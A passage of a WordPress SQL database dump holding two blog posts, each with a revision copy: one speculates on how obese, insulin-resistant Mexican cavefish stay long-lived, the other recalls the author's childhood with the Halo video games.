src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e85ff8-1df7-4ebd-9e8f-a35a9b7606dd_1200x800.jpeg\" alt=\"Mexican tetra: Blind cave fish are developing cave-specific accents | New  Scientist\" title=\"Mexican tetra: Blind cave fish are developing cave-specific accents | New  Scientist\"/></a><figcaption class=\"wp-element-caption\">And yet we must imagine the cavefish happy.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This means you have to be able to last months on a single large feeding. More specifically, you need to be able to eat a ton and then rapidly build up fat reserves, so that you can store a massive amount of food. There’s no point in eating a lot of food all at once if you’re just going to turn it into short-term reserves like glycogen, or just poop it out. So, how do you do this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, first, obviously, you need to be hungry all the time. If it’s seasonal flood season, you need to be able to eat every single day until the food is gone. That means&nbsp;<a href=\"https://www.pnas.org/doi/full/10.1073/pnas.1510802112\">your appetite should not be affected by the last time you ate</a>, which is a pretty weird way to be. The way you do that is via a mutation in the melanocortin 4 receptor to make it less effective at transducing signals, which, in humans, is a receptor that’s heavily associated with obesity (no pun intended). The receptor is supposed to signal to you when you’re full, so mutations in the receptor make it harder for you to notice that<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-2-138451012\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, you need to be able to pack on the fat everywhere. You&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0012160618301921\">need to be able to pack it in the skin, in between the organs, in the muscles, and in the liver</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1038/nature26136\">you need to be insulin-resistant</a>, so that your body doesn’t let glucose leave the bloodstream and get absorbed into the muscles or liver. You need it for fat. You do this via a mutation in the insulin receptors<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-3-138451012\">3</a>, so that your insulin receptors are not sensitive to the demands of insulin.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fourth, you need to avoid all the problems that come with the adaptations mentioned above, like the constant low level inflammation that comes with fat, the malfunctions of fatty liver, and the glycation of tissues that comes with excess glucose in the blood. And this is when things get a little tricker, because there aren’t good answers as to how cavefish manage to not only avoid these problems, but actually live longer than their surface cousins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are, however, some intriguing clues. You might think from their strange physiology that cavefish are some genetically isolated species that have been evolving in isolation for millions of years. However, as I’ve already alluded to, they aren’t. Not only have they been only evolving in isolation for thousands of years (not millions), they haven’t even been that isolated. Multiple different cavefish populations have been established from multiple different surface fish populations, and there\'s been enough intermixing between the two from seasonal flooding that they can actually interbreed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, genomically, the eyeless, obese, always hungry, insulin-resistant, long-lived cavefish are not that far from their seeing, slim, normal-appetite, normal insulin, normal-lived surfacefish cousins. And we even get a clue of exactly how close they are evolutionarily. Surfacefish who are placed in complete darkness for&nbsp;<a href=\"https://elifesciences.org/articles/51830\">just two years</a>&nbsp;develop a surprising number of cavefish-like traits, including starvation resistance, decreased metabolic rate, and obesity. The change from normal surfacefish to troglodyte cavefish can seemingly happen in just a few generations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This makes me think that there’s perhaps some sort of switch that gets triggered here, from a “normal” system to a “food scarce” system. This could cause a cascade of effects within a relatively short time frame, from insulin resistance to obesity to hyperphagia. Diabetes would then just be a syndrome of what happens when the body is challenged in the wrong system, like how altitude sickness is a syndrome of being in an oxygen-poor environment without getting accustomed to it or heart attacks caused by being a “weekend warrior”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I like this switch explanation because it does explain why in normal people insulin resistance is difficult to build up and goes away so rapidly at the start of weight loss. Insulin resistance is part of a system that’s meant to be controlled by some master regulator, like perhaps the circadian rhythm. It has some switch that can be forced by fat buildup, but its natural state is to remain closed. This is maybe analogous to a series of dependent gears in an engine: you could force one gear in the middle of the series to move by great force, and that would have ripple effects on the rest of the gears in the series, possibly causing mechanical damage to one or more of the gears. But moving the first gear would much more easily cause all the other gears to move, and eventually cause the electricity to flow that would keep all the gears moving with no effort on your own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is hypothetical, of course, but it’s testable. If I’m right, trying to figure out insulin resistance by looking at human obesity is like trying to figure out how a car works by looking at a Flintstones cartoon. Yes, technically, they make the car go, but there’s a reason why they move so slowly and their cars get such weird mechanical problems. They’re operating at the wrong part of the chain. You can only make sense of how the car is supposed to work by looking at someone operating a car correctly and seeing how the pieces fit together and cause each other to move and then the car itself to move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insulin is a crucial part of how organisms handle metabolism. It’s a signal of how much glucose the organism should keep in the bloodstream. Being resistant to insulin is only a bad thing insofar as it causes harm to the organism, which seems to be generally true in humans. However, that’s not always the case everywhere. We’d do wise to remember that we’re just borrowing insulin, and others might use it very differently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-anchor-1-138451012\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I am going to be using&nbsp;<a href=\"https://www.cell.com/developmental-cell/article/S1534-5807(21)00164-7/fulltext\">this paper&nbsp;</a>a lot for this blog post. If I don’t reference something else, I’m probably referencing this paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-anchor-2-138451012\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The MC4 receptor is interesting overall. As you might expect from the description, MC4 receptor agonists make obese people lose weight, and MC4 antagonists make skinny people gain weight. But, it has the opposite effect on sexual appetites. An&nbsp;<a href=\"https://en.wikipedia.org/wiki/Bremelanotide\">MC4 agonist was approved for promotion of female sexual appetite</a>, with nausea (and presumably weight loss) as a very common (40%) side effect. I also don’t entirely understand how the subjects can feel sexy while they’re nauseous, but who am I to judge?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-anchor-3-138451012\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fascinatingly, the same mutation, P211, which can lead to Rabson-Mendenhall syndrome in humans, an inherited form of insulin resistance. But, in humans, unlike in cavefish, this leads to early death and wasting. Cavefish actually live&nbsp;<em>longer</em>&nbsp;than their non-mutated surfacefish cousins, even though cavefish and surfacefish are otherwise very similar and can even interbreed and produce viable offspring.</p>\n<!-- /wp:paragraph -->','Anthropocentrism, insulin, and obese, long-lived cavefish','','publish','closed','closed','','anthropocentrism-insulin-and-obese-long-lived-cavefish','','','2024-06-12 16:07:41','2024-06-12 16:07:41','',0,'https://trevorklee.com/?page_id=419',0,'page','',0),
(420,1,'2024-06-12 16:07:41','2024-06-12 16:07:41','<!-- wp:paragraph -->\n<p>I have something to confess about myself. I have a pernicious prejudice hidden deep within me that colors my perception of the world. I was probably born with it, I was definitely raised with it, and now, it’s so deeply embedded within me that I don’t think I’ll ever get it out. You see, I’m anthropocentric.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know what you’re going to say: “How can you be so anthropocentric? Don’t you know that humans are only one species out of millions on this planet? And besides, don’t you run a company making drugs for cats?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And you’re right. I do run a company making drugs for cats. I should be able to think about other animals at the same level as humans. And yet, I still think of our lead drug, a cyclosporine formulation, as a human drug, even though it’s really just a natural product derived from fungus that’s just as “human” as it is cat, mouse, horse, or whatever animal is dosed with it. I am ashamed of this bias. I think if my company’s investors can find a qualified cat to bring on board, I’d be happy to accept them as a cofounder or at least an advisor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t bring this up just to flagellate myself, though. I bring this up to introduce an interesting paper that I found recently that reveals some of my anthropocentric bias. As you likely recall, I’ve recently been writing quite a bit about insulin, glucose, and metabolism. I started with my confusion that insulin resistance and weight loss have a surprisingly rapid response to one another, then discussed the fascinating adaptations hummingbirds have to a high glucose diet that helps them avoid diabetes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Looking back at both pieces, one thing I notice is that I can’t help but think of insulin as a “human” hormone. So, I see how insulin resistance and weight loss work in humans, and I think, “Why did insulin evolve to work that way in humans?” Or, I see how glucose metabolism works in hummingbirds, and I think, “That’s a weird variation on insulin and glucose.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s the wrong way to think about it. Insulin is an ancient molecule that is everywhere across the animal kingdom, from insects to apes, and it’s even present in some fungi and protists. Insulin didn’t evolve for humans and it didn’t evolve for hummingbirds. We’re both just borrowing an old tool for our own ends.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This comes into stark focus when we take a look at how other organisms use and abuse insulin to control fat metabolism in much harsher circumstances than humans ever face. You see, humans have it pretty easy when it comes to metabolism. We eat regularly. I mean, we have to. If we go much more than a month without food, we die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s because we have evolved in habitats where potential food surrounds us. On the other hand, imagine what it’s like to be a cavefish. Not only do you live in complete darkness all of the time, both because you live in a cave and because you don’t have any eyes, you also literally never get any plants to eat and neither does any organism around you<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-1-138451012\">1</a>. Your only food sources are bat droppings, the rare smaller creature that happens to bump into you, and the occasional seasonal flood bonanza.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e85ff8-1df7-4ebd-9e8f-a35a9b7606dd_1200x800.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e85ff8-1df7-4ebd-9e8f-a35a9b7606dd_1200x800.jpeg\" alt=\"Mexican tetra: Blind cave fish are developing cave-specific accents | New  Scientist\" title=\"Mexican tetra: Blind cave fish are developing cave-specific accents | New  Scientist\"/></a><figcaption class=\"wp-element-caption\">And yet we must imagine the cavefish happy.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This means you have to be able to last months on a single large feeding. More specifically, you need to be able to eat a ton and then rapidly build up fat reserves, so that you can store a massive amount of food. There’s no point in eating a lot of food all at once if you’re just going to turn it into short-term reserves like glycogen, or just poop it out. So, how do you do this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, first, obviously, you need to be hungry all the time. If it’s seasonal flood season, you need to be able to eat every single day until the food is gone. That means&nbsp;<a href=\"https://www.pnas.org/doi/full/10.1073/pnas.1510802112\">your appetite should not be affected by the last time you ate</a>, which is a pretty weird way to be. The way you do that is via a mutation in the melanocortin 4 receptor to make it less effective at transducing signals, which, in humans, is a receptor that’s heavily associated with obesity (no pun intended). The receptor is supposed to signal to you when you’re full, so mutations in the receptor make it harder for you to notice that<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-2-138451012\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, you need to be able to pack on the fat everywhere. You&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0012160618301921\">need to be able to pack it in the skin, in between the organs, in the muscles, and in the liver</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1038/nature26136\">you need to be insulin-resistant</a>, so that your body doesn’t let glucose leave the bloodstream and get absorbed into the muscles or liver. You need it for fat. You do this via a mutation in the insulin receptors<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-3-138451012\">3</a>, so that your insulin receptors are not sensitive to the demands of insulin.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fourth, you need to avoid all the problems that come with the adaptations mentioned above, like the constant low level inflammation that comes with fat, the malfunctions of fatty liver, and the glycation of tissues that comes with excess glucose in the blood. And this is when things get a little tricker, because there aren’t good answers as to how cavefish manage to not only avoid these problems, but actually live longer than their surface cousins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are, however, some intriguing clues. You might think from their strange physiology that cavefish are some genetically isolated species that have been evolving in isolation for millions of years. However, as I’ve already alluded to, they aren’t. Not only have they been only evolving in isolation for thousands of years (not millions), they haven’t even been that isolated. Multiple different cavefish populations have been established from multiple different surface fish populations, and there\'s been enough intermixing between the two from seasonal flooding that they can actually interbreed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, genomically, the eyeless, obese, always hungry, insulin-resistant, long-lived cavefish are not that far from their seeing, slim, normal-appetite, normal insulin, normal-lived surfacefish cousins. And we even get a clue of exactly how close they are evolutionarily. Surfacefish who are placed in complete darkness for&nbsp;<a href=\"https://elifesciences.org/articles/51830\">just two years</a>&nbsp;develop a surprising number of cavefish-like traits, including starvation resistance, decreased metabolic rate, and obesity. The change from normal surfacefish to troglodyte cavefish can seemingly happen in just a few generations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This makes me think that there’s perhaps some sort of switch that gets triggered here, from a “normal” system to a “food scarce” system. This could cause a cascade of effects within a relatively short time frame, from insulin resistance to obesity to hyperphagia. Diabetes would then just be a syndrome of what happens when the body is challenged in the wrong system, like how altitude sickness is a syndrome of being in an oxygen-poor environment without getting accustomed to it or heart attacks caused by being a “weekend warrior”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I like this switch explanation because it does explain why in normal people insulin resistance is difficult to build up and goes away so rapidly at the start of weight loss. Insulin resistance is part of a system that’s meant to be controlled by some master regulator, like perhaps the circadian rhythm. It has some switch that can be forced by fat buildup, but its natural state is to remain closed. This is maybe analogous to a series of dependent gears in an engine: you could force one gear in the middle of the series to move by great force, and that would have ripple effects on the rest of the gears in the series, possibly causing mechanical damage to one or more of the gears. But moving the first gear would much more easily cause all the other gears to move, and eventually cause the electricity to flow that would keep all the gears moving with no effort on your own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is hypothetical, of course, but it’s testable. If I’m right, trying to figure out insulin resistance by looking at human obesity is like trying to figure out how a car works by looking at a Flintstones cartoon. Yes, technically, they make the car go, but there’s a reason why they move so slowly and their cars get such weird mechanical problems. They’re operating at the wrong part of the chain. You can only make sense of how the car is supposed to work by looking at someone operating a car correctly and seeing how the pieces fit together and cause each other to move and then the car itself to move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insulin is a crucial part of how organisms handle metabolism. It’s a signal of how much glucose the organism should keep in the bloodstream. Being resistant to insulin is only a bad thing insofar as it causes harm to the organism, which seems to be generally true in humans. However, that’s not always the case everywhere. We’d do wise to remember that we’re just borrowing insulin, and others might use it very differently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-anchor-1-138451012\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I am going to be using&nbsp;<a href=\"https://www.cell.com/developmental-cell/article/S1534-5807(21)00164-7/fulltext\">this paper&nbsp;</a>a lot for this blog post. If I don’t reference something else, I’m probably referencing this paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-anchor-2-138451012\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The MC4 receptor is interesting overall. As you might expect from the description, MC4 receptor agonists make obese people lose weight, and MC4 antagonists make skinny people gain weight. But, it has the opposite effect on sexual appetites. An&nbsp;<a href=\"https://en.wikipedia.org/wiki/Bremelanotide\">MC4 agonist was approved for promotion of female sexual appetite</a>, with nausea (and presumably weight loss) as a very common (40%) side effect. I also don’t entirely understand how the subjects can feel sexy while they’re nauseous, but who am I to judge?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-anchor-3-138451012\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fascinatingly, the same mutation, P211, which can lead to Rabson-Mendenhall syndrome in humans, an inherited form of insulin resistance. But, in humans, unlike in cavefish, this leads to early death and wasting. Cavefish actually live&nbsp;<em>longer</em>&nbsp;than their non-mutated surfacefish cousins, even though cavefish and surfacefish are otherwise very similar and can even interbreed and produce viable offspring.</p>\n<!-- /wp:paragraph -->','Anthropocentrism, insulin, and obese, long-lived cavefish','','inherit','closed','closed','','419-revision-v1','','','2024-06-12 16:07:41','2024-06-12 16:07:41','',419,'https://trevorklee.com/?p=420',0,'revision','',0),
(421,1,'2024-06-12 16:08:56','2024-06-12 16:08:56','<!-- wp:paragraph -->\n<p>The first videogame I remember loving was&nbsp;<em>Halo</em>&nbsp;for the Xbox. My brothers and I got Halo for Christmas when I was 8 years old. Before then, the only videogames we played were simplistic Gameboy games, educational games like&nbsp;<em>Math Blaster</em>&nbsp;or&nbsp;<em>Freddy Fish</em>, and whatever Flash games we could find on dialup Internet<a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-1-138924422\">1</a>. The last of these we played on our parents’ computers, occasionally giving them viruses. This was annoying enough to my dad that when he heard that Microsoft was coming out with a games console, he decided to get it for us for Christmas<a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-2-138924422\">2</a>. If a games console was good enough for Bill Gates, then, by golly, it was good enough for my proudly America-centric, value-investing Dad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ebf3fa-6a24-4420-9c6c-857a6397f51b_640x480.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ebf3fa-6a24-4420-9c6c-857a6397f51b_640x480.jpeg\" alt=\"Halo Title Screen : r/nostalgia\" title=\"Halo Title Screen : r/nostalgia\"/></a><figcaption class=\"wp-element-caption\">The soundtrack to this loading screen is burned into my brain. We also played through all of the game demos repeatedly, to the point where I sometimes randomly remember Zack from Fusion Frenzy saying,&nbsp;<em>“</em>Zack attack in the ack ack ack, win again!”</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>Halo&nbsp;</em>was the system seller for the Xbox. It was the flagship title and boy did it know it. The opening moments are still etched in my brain: the swelling orchestral music, the invasion of the alien Covenant, the scene in which Captain Keyes hands you your first pistol, the way in which a squadron of invincible Marines swarms you if you then use that pistol to shoot Captain Keyes, the dramatic last minute escape from the&nbsp;<em>Pillar of Autumn</em>&nbsp;as it explodes under enemy fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I played through that entire story (or campaign, as they call it) with my older brother Justin. We played on easy mode, as we were both new and rather bad at shoot-em-up videogames, although I was worse. Together, we rescued Captain Keyes from the Covenant ship that held him, lost him again to the zombie-like parasitic Flood, got so terrified of the Flood that we stopped playing for a week, then eventually recovered enough to destroy the installation that housed the Flood.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This last part was particularly dramatic. Or, at least, it was supposed to be. We were supposed to escape the self-destruction of the facility in a futuristic Jeep (the “Warthog”), with Justin driving and me shooting a machine gun turret off the back. But I didn’t realize that I was supposed to do that, so I got off the Warthog to fight the Covenant by hand. Then Justin drove off too fast for me to follow, and I got stuck further and further behind, until eventually I convinced him to let me kill myself and respawn closer to his Warthog so I could get back in the gunner’s seat. The facility politely paused its self-destruction long enough for me to do this, but at that point the dramatic tension was lost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, 3 years later, came&nbsp;<em>Halo 2.</em>&nbsp;It was the first videogame I researched. In fact, I think it was the first anything I researched. I read about it obsessively. I read the forums, the websites, the magazines. I kept track of the release date and the “alternate reality game”, I Love Bees (although I was too weirded out by it to participate).&nbsp; And so, when I asked my dad to buy the game for me, and he accused me of only wanting it because of the hype, I was ready. “Actually, Dad,” I said, “not only will Halo 2 be much larger than Halo 1 with a much broader arsenal of weapons, vehicles, and enemies, but players will also be able to dual wield weapons, providing them with greater strategic options than ever before. Also, we will be able to fight in space.” My Dad was sufficiently impressed to buy me a copy on release day: November 9, 2004, a date I still remember.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know I played through&nbsp;<em>Halo 2&nbsp;</em>with Justin as well, but I actually don’t remember the story that well. What I remember more than anything was the online multiplayer.&nbsp;<em>Halo 2</em>&nbsp;was the first game I ever played with strangers online through Xbox Live. Later on, Xbox Live would become infamous as a place where you could hear a 10 year old call you a racial slur, but, back then, it was friendlier. I spent hours upon hours playing with strangers, talking on the headset, making casual friends, fielding questions about why our gamertag was “enemyconnected” (it was from Xbox’s random name generator and, yes, it did suggest that I was actively a traitor to whatever team I was part of).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Halo 2</em>&nbsp;was my obsession until&nbsp;<em>Halo 3</em>&nbsp;came out in another 3 years. By this point I was 14 and Justin was just about 17. He was busy enough with girls, sports, and preparing to go to college that it was a struggle to get him to sit down long enough to play through the campaign with me. We did eventually save the galaxy together, but that was the last videogame I ever played through with Justin. It was me and my friends from there on out, although I’d soon lose their interest to&nbsp;<em>Call of Duty 4</em>. Then I started playing&nbsp;<em>Call of Duty 4</em>, too, and that was all any of us really wanted to play, and both&nbsp;<em>Halo 2</em>&nbsp;and&nbsp;<em>Halo 3&nbsp;</em>were left to sit in their cases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hadn’t planned to play&nbsp;<em>Halo 3: Reach</em>. It came out my junior year of high school. I didn’t play&nbsp;<em>Halo</em>&nbsp;any more. All of the games I’d play with my friends were gritty and “realistic” or else just&nbsp;<em>Smash Bros.</em>&nbsp;But my friend Dan had a copy, and he came by one day on a Friday after school. We both had our licenses by this point so the ability for us to hang out without parental transportation logistics was already pretty novel. He convinced me to go on a nostalgia trip (it was already a vice of mine back then).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We pulled an all-nighter that night. According to the Internet, the main campaign takes 8.5 hours to complete, so, assuming he came over at like 4 pm, we must have played straight through until 2 am, accounting for breaks. Needless to say, this whole night is a blur for me now. I only have the vaguest recollections of the story, and also that Dan insisted we play through the campaign on Heroic, the second hardest difficulty. He would have preferred Legendary, the hardest, but I persuaded him down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then&nbsp;<em>Halo</em>&nbsp;mostly disappeared from my life.&nbsp;<em>Halo 4</em>&nbsp;came out when I was in college, and I remember playing a bit of it when I was bored one afternoon and then dropping it.&nbsp;<em>Halo 5&nbsp;</em>came out right after I graduated, but that one I only saw a friend play a couple times.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I did try playing through the campaigns again on my own, recently. Microsoft came out with the “Master Chief collection”, a collection of the original games, remastered for their latest hardware. I started with&nbsp;<em>Halo 1</em>, escaped the exploding&nbsp;<em>Pillar of Autumn</em>, explored the Ringworld, rescued Captain Keyes, and then, once again, found myself faced with the unenviable position of fighting the Flood in all their disgusting, squelching, swarming glory. And…I couldn’t. It was bad enough facing the Flood at age 8 with my brother by my side, but to face them alone at age 29? I lacked the courage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead, I quit playing Halo and decided to play a different game. I had already saved the world once. It wouldn’t be the same saving it again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-anchor-1-138924422\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My older brothers also played&nbsp;<em>Street Fighter</em>&nbsp;at our neighbor’s house, but I wasn’t allowed to play.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-anchor-2-138924422\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Don’t I mean Hanukkah? Nope! Not only are my parents mixed faith, but, in proud Reform tradition, my mother had grown up celebrating Christmas anyways. That aggressively secular German Jewishness is largely gone from the world now. I think it was always kind of a self-defeating sort of “faith” anyways.</p>\n<!-- /wp:paragraph -->','My life through Halo','','publish','closed','closed','','my-life-through-halo','','','2024-06-12 16:08:56','2024-06-12 16:08:56','',0,'https://trevorklee.com/?page_id=421',0,'page','',0),
(422,1,'2024-06-12 16:08:56','2024-06-12 16:08:56','<!-- wp:paragraph -->\n<p>The first videogame I remember loving was&nbsp;<em>Halo</em>&nbsp;for the Xbox. My brothers and I got Halo for Christmas when I was 8 years old. Before then, the only videogames we played were simplistic Gameboy games, educational games like&nbsp;<em>Math Blaster</em>&nbsp;or&nbsp;<em>Freddy Fish</em>, and whatever Flash games we could find on dialup Internet<a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-1-138924422\">1</a>. The last of these we played on our parents’ computers, occasionally giving them viruses. This was annoying enough to my dad that when he heard that Microsoft was coming out with a games console, he decided to get it for us for Christmas<a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-2-138924422\">2</a>. If a games console was good enough for Bill Gates, then, by golly, it was good enough for my proudly America-centric, value-investing Dad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ebf3fa-6a24-4420-9c6c-857a6397f51b_640x480.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ebf3fa-6a24-4420-9c6c-857a6397f51b_640x480.jpeg\" alt=\"Halo Title Screen : r/nostalgia\" title=\"Halo Title Screen : r/nostalgia\"/></a><figcaption class=\"wp-element-caption\">The soundtrack to this loading screen is burned into my brain. We also played through all of the game demos repeatedly, to the point where I sometimes randomly remember Zack from Fusion Frenzy saying,&nbsp;<em>“</em>Zack attack in the ack ack ack, win again!”</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>Halo&nbsp;</em>was the system seller for the Xbox. It was the flagship title and boy did it know it. The opening moments are still etched in my brain: the swelling orchestral music, the invasion of the alien Covenant, the scene in which Captain Keyes hands you your first pistol, the way in which a squadron of invincible Marines swarms you if you then use that pistol to shoot Captain Keyes, the dramatic last minute escape from the&nbsp;<em>Pillar of Autumn</em>&nbsp;as it explodes under enemy fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I played through that entire story (or campaign, as they call it) with my older brother Justin. We played on easy mode, as we were both new and rather bad at shoot-em-up videogames, although I was worse. Together, we rescued Captain Keyes from the Covenant ship that held him, lost him again to the zombie-like parasitic Flood, got so terrified of the Flood that we stopped playing for a week, then eventually recovered enough to destroy the installation that housed the Flood.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This last part was particularly dramatic. Or, at least, it was supposed to be. We were supposed to escape the self-destruction of the facility in a futuristic Jeep (the “Warthog”), with Justin driving and me shooting a machine gun turret off the back. But I didn’t realize that I was supposed to do that, so I got off the Warthog to fight the Covenant by hand. Then Justin drove off too fast for me to follow, and I got stuck further and further behind, until eventually I convinced him to let me kill myself and respawn closer to his Warthog so I could get back in the gunner’s seat. The facility politely paused its self-destruction long enough for me to do this, but at that point the dramatic tension was lost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, 3 years later, came&nbsp;<em>Halo 2.</em>&nbsp;It was the first videogame I researched. In fact, I think it was the first anything I researched. I read about it obsessively. I read the forums, the websites, the magazines. I kept track of the release date and the “alternate reality game”, I Love Bees (although I was too weirded out by it to participate).&nbsp; And so, when I asked my dad to buy the game for me, and 